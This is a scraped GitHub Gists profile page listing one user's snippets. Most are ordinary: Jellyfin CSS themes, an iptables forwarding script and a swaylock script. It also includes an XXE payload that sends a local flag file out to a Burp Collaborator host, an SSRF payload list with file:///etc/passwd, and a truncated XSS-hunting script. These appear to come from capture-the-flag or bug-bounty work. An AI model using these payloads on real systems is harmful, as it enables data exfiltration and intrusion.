Skip to content

Instantly share code, notes, and snippets.

View rukh-debug's full-sized avatar
🔭
Dont visit https://is.gd/rub3nk

rukh rukh-debug

🔭
Dont visit https://is.gd/rub3nk
View GitHub Profile
#!/usr/bin/env bash
# Author: rukh-debug
# Date: 2025 Feb 16
# https://github.com/orhun/rustypaste <3
# This script is a very minimal UI for rustyPaste server - built for poweruser.
# demo: https://i.postimg.cc/MHXFPdCq/image.png
/* Increase size of Jellyfin logo */
.layout-desktop .pageTitleWithLogo {
margin-left: 10px !important;
height: 40px !important;
}
/* Static left drawer */
.layout-desktop .mainDrawer {
left: 0 !important;
top: 0 !important;
@rukh-debug
rukh-debug / configure_iptable.sh
Created May 26, 2024 15:16
Forwarding incoming request coming on X interface to Y interface for list of ports at once.
#!/bin/bash
# Define the destination IP
DEST_IP="100.124.186.54" # Replace it with your tailscale / Wireguard ip of the destination server
# Define the network interfaces
INTERFACE_IN="eth0"
INTERFACE_OUT="tailscale0" # Replace with your interfce name of tailscale / wireguard interface name.
# Define the ports
/*
CSS Jellyfin heme Name: Dark and Green
*/
.mdl-slider { color: #316636; }
.mdl-slider::-webkit-slider-thumb { color: #316636; }
.mdl-slider::-ms-thumb { background: #316636; }
.mdl-slider::-webkit-slider-thumb { background: #316636; }
.mdl-slider::-moz-range-thumb { background: #316636; }
.mdl-slider-background-lower { color: #316636; background-color: #316636; }
@rukh-debug
rukh-debug / swaylock-corrupter
Last active January 11, 2023 00:11
swaylock integrated with corrupter, being used for aur
#!/bin/sh
FILE="/tmp/ss.png"
grim $FILE; corrupter $FILE $FILE; swaylock -i $FILE; rm $FILE
<!ENTITY % file SYSTEM "http://127.0.0.1:2580/flag">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://fh0p9t9ark1movnklo32m6nat1zynn.burpcollaborator.net/?%file;'>">
%all;
@rukh-debug
rukh-debug / axiosInterceptor.js
Created March 28, 2021 18:50 — forked from nzvtrk/axiosInterceptor.js
Axios create/recreate cookie session in node.js enviroment
/* Basic example of save cookie using axios in node.js and recreate session if it expired.
* Get/save cookie manually cause WithCredential axios param use XHR and not work in node.js
* Supports parallel request and send only one create session request.
* */
const BASE_URL = "https://google.com";
// Init instance of axios which works with BASE_URL
const axiosInstance = axios.create({ baseURL: BASE_URL });
@rukh-debug
rukh-debug / SSRF
Created February 22, 2021 16:49 — forked from ffcommax/SSRF
SSRF
http://localhost
http://0
http://127.0.0.1
https://localhost
http://localhost:8080
http://192.168.0.1
file:///
file:///etc/passwd
file:///c/
chrome://about
let statusCodes = {
100: "Continue",
101: "Switching Protocols",
102: "Processing",
200: "Ok",
201: "Created",
202: "Accepted",
203: "Non-authoritative Information",
//Testing personal xssHunt
/// html2canvas
!function (t, e, n) {
function r(t, e, n, r) { return c(t, n, r, e).then(function (a) { E("Document cloned"); var c = "[" + Ee + "='true']"; t.querySelector(c).removeAttribute(Ee); var h = a.contentWindow, u = h.document.querySelector(c), p = new de(h.document), l = new m(e, p), d = B(u), f = "view" === e.type ? Math.min(d.width, n) : o(), g = "view" === e.type ? Math.min(d.height, r) : s(), y = new xe(f, g, l, e), v = new P(u, y, p, l, e); return v.ready.then(function () { E("Finished rendering"); var t = "view" === e.type || u !== h.document.body && u !== h.document.documentElement ? i(y.canvas, d) : y.canvas; return e.removeContainer && (a.parentNode.removeChild(a), E("Cleaned up container")), t }) }) } function i(t, n) { var r = e.createElement("canvas"), i = Math.min(t.width - 1, Math.max(0, n.left)), o = Math.min(t.width, Math.max(1, n.left + n.width)), s = Math.min(t.height - 1, Math.max(0, n.top)), a = Math.min(t.height, Math.max(1, n.top + n.height)), c